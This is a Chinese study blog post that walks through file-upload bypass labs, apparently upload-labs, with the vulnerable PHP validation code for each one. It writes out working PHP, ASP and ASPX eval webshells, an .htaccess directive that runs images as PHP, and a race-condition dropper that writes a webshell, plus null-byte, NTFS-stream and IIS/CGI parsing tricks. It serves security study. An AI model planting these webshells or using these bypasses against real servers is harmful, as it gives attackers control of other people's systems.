MENU

安全学习-14-文件上传解析漏洞

November 11, 2021 • 网络安全

[toc]

文件上传漏洞

上传木马获取服务器 ：通过上传文件，被服务当作代码文件执行，从而获取服务器权限。

只要我们能够在目标的服务器上放一个一句话木马，从而获取到服务器的权限。

一句话木马

  • PHP <?php @eval($_REQUEST[8]);?>
  • asp <%eval request ("pass")%>
  • aspx <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

存在问题点

由于上传文件，带有很大的危险性，所以服务器一般都会对上传的文件进行检测。所以，我们需要做的事就是绕过这些检测，成功上传木马！

1. 前端检测（JS） = 没有检测

​ 前端代码的只能在浏览器里面执行

2. 默认状况下 ：

​ .php3、php4、php5、phtml都是会被解析为php的。

​ jsp、jspx、jspf都是会被解析为jsp的；

​ asp、asa、cer、aspx都是会被解析为asp的；

​ exe、exee 都是会被解析为exe的。

3. .htaccess（超文本入口）

​ .htaccess文件也被称为分布式配置文件们提供了正对目录改变配置的方法，在一个特定的文档目录总防止一个包含一个或多个指令的文件，以作为与此目录及其所有子目录。

.htaccess功能：

​ 文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表。

Apache默认不开启！

addType application/x-httpd-php .jpg 这个指令代表着该目录下.jpg文件会被当作php来解析。

4.00截断

​ 00截断与%00截断区别在于URL编码。

5.图片马

​ 将一句话木马与图片结合在一起；

​ 有的环境会同时检测末尾的图片，可以使用夹心马（图片+木马+图片）。

​ copy 图片 + 文件 生成的新文件名

6.二次渲染图片马

​ 二次渲染也只是渲染图片的一部分；

​ 可以写在Gif图片，从第三行开始改，既不损坏图片，也不易被服务器识别。

7.IIS 6.0漏洞

  • asa,cer,cdx 都会被当作asp处理；
  • ;分号结束；
  • .asp目录下下全被当作asp处理；

8.PHP CGI解析漏洞

​ 1.jpg/.php当找不到最后的php文件时，php会把上一级存在的文件当作php执行；

如果复制页面的图片，在其后面添加/.php出现乱码，一般有CGI漏洞。

一、前端代码检测绕过

1

代码分析

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";  // 前端代码在这里定义了，只允许上传的文件后缀名
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}

构造木马文件

2

正常上传报错

3

方法一：

修改文件名为png，通过前端检测后，通过Burp抓包，修改上传的图片后缀名；

456

方法二：

通过修改返回包，删除前面检测的部分，即可绕过前端检测！

7891011

二、Content-Type方式绕过

12

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        // 只允许Content-Type名为 image/jpeg、image/png、image/gif 后缀名的上传
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建！';
    }
}

文件上传

13

14

15

三、黑名单绕过

16

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        // 黑名单，不允许这些结尾的后缀文件上传
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
                 $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
                 $is_upload = true;
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

文件上传

17

18

四、.htaccess文件绕过

19

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        // 黑名单，将存在代码执行的文件后缀名全部进行拒绝
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

文件上传

21-0

21

22

23

24

25

在伪静态的网站上，都可以尝试一下是否存在.htaccess。

五、后缀大小写绕过

我们可以通过大小写去绕过。Web服务器触发非常老的版本。不然都会区分大小写。

26

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        // 黑名单，对所有小写后缀进行了屏蔽
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

文件上传

将后缀名修改为大写，绕过！

27

28

六、文件后缀（空）绕过

对于windows来说 php和php空格相同！

文件上传 -> 检测 -> 上传到缓存文件(tmp) -> 后端代码的移动，移动到指定目录重命名

29

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        // 黑名单，对所有可能存在文件的后缀名进行屏蔽
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        // 通过将上传文件，字母全转换为小写，进行与黑名单对比
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

文件上传

Windows 有一个特性，会自动去掉后缀名最后的 . 。

利用Burp在上传文件后面加一个空格，绕过比对！

3031

七、文件后缀(点)绕过

32

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        // 黑名单，对所有可能存在问题的后缀，进行屏蔽
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        // 取最后一个.的位置后面的字符
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

文件上传

33

34

八、::$DATA（Windows文件流绕过）

利用NTF交换数据流(ADS)，ADS是NTFS磁盘格式的一个特性，在NTFS文件系统下，每个文件都可以存在多个数据流。通俗的理解，就是其他文件可以“寄宿”在某个文件身上，而在资源管理器中却只能看到宿主文件，找不到寄宿文件。

35

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        // 与前面的代码区别，未添加去除::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

文件上传

36

37

或

38

39

九、构造文件后缀绕过

40

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

文件上传

41

42

十、双写文件后缀绕过

43

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']); // 去除文件名两边的空格
        // 文件名里面只要有黑名单的部分内容，就会被替换为空
        $file_name = str_ireplace($deny_ext,"", $file_name); 
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

文件上传

44

45

十一、%00截断绕过

00字符表示结束，移动过程中发现00，就只移动了前面部分，后部分不做处理！

PHP<5.3 版本的漏洞！

46

代码分析

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    // 运行了白名单，只允许这些后缀的上传
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        // 移动过程中，可以插入00字符截断
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败！';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

文件上传

47

48

十二、%00截断绕过(二)

因为POST请求不会对URL进行编码，所以POST请求去修改数据包的16进制进行修改进行00截断。

49

代码分析

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        // 获取保存路径变为了POST请求，POST不会进行URL编码
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

文件上传

50

51

52

十三、图片马绕过

53

图片马制作

54

文件上传

下载图片后本地更改后缀测试！

57

58

59

十四、getimagesize图片类型绕过

前期尝试使用jpeg、png图片均失败，使用gif图继续尝试！

木马制作

61

文件上传

62

63

64

65

十五、php_exif模块图片类型绕过

十四题生成的gif图仍然有效！

文件上传

66

67

十六、二次渲染绕过

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=$UPLOAD_ADDR.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型，合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片！";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                # 这里会对上传的图片进行二次渲染
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
......

图片马生成

68

文件上传

68-2

69

图片下载下来，更名后缀后，测试成功。

70

十七/十八、条件竞争绕过

利用上传文件短暂未删除的间隙，生成一个新的木马文件，通过生成的文件操作服务器。

代码分析

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = $UPLOAD_ADDR . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            // 如果上传的文件不为以上三种类型，则删除该文件,那么我们可不可以在该文件删除前执行让其生成新的一个别的文件呢？
            unlink($upload_file);
        }
    }else{
        $msg = '上传失败！';
    }
}

生成木马

1.构建上传生成木马的文件；

begin.php

<?php file_put_contents('end.php','<?php @eval($_REQUEST[9]);?>')?>

2.上传，跑包；

71

72-1

72-1

72-1

72-1

72-1

73

结果还是没有生成，放弃线上环境，线下搭建环境重跑！

74

75

76

十九、move_uploaded_file()截断

代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            // 移动保存文件，又存在00截断
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传失败！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }

    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

文件上传

77

78

79

80

二十、IIS6.0解析漏洞（一）

由于IIS6.0存在一个会将asa,cer,cdx 都会被当作asp处理,所以我们利用asp写个一句话木马，保存为该后缀上传！

文件上传

81

82

83

84

二十一、IIS6.0解析漏洞（二）

IIS6.0 的;截断漏洞，会在读到;符号之前就结束，认为该图片是asp文件，当作asp执行。

制作图片马

85

86

文件上传

87

88

89

连接菜刀

90

90

二十二、IIS6.0解析漏洞（三）

文件上传

92

93

访问图片，由于ISS6.0存在访问.asp目录下的所有文件会被当作asp文件执行，所以乱码！

94

连接菜刀

95

96

二十三、解析漏洞（四）

PHP CGI漏洞当找不到最后的php文件时，php会把上一级存在的文件当作php执行。

文件上传

97

98

访问图片，添加/.php，出现乱码！

99

连接菜刀

100

101

注意

substr() 函数返回字符串的一部分。
trim() 函数移除字符串两侧的空白字符或其他预定义字符；
strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置，并返回从该位置到字符串结尾的所有字符；
strtolower() 把所有字符转换为小写；
str_ireplace("匹配","替换为字符",函数) 函数替换字符串中的一些字符（不区分大小写）。
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。
imagejpeg() 从给定的image 创建 JPEG 文件。
imagepng() 从给定的image 创建 png 文件。
imagegif() 从给定的image 创建 gif 文件。
unlink() 函数删除文件。
file_put_contents() 函数把一个字符串写入文件中。
Leave a Comment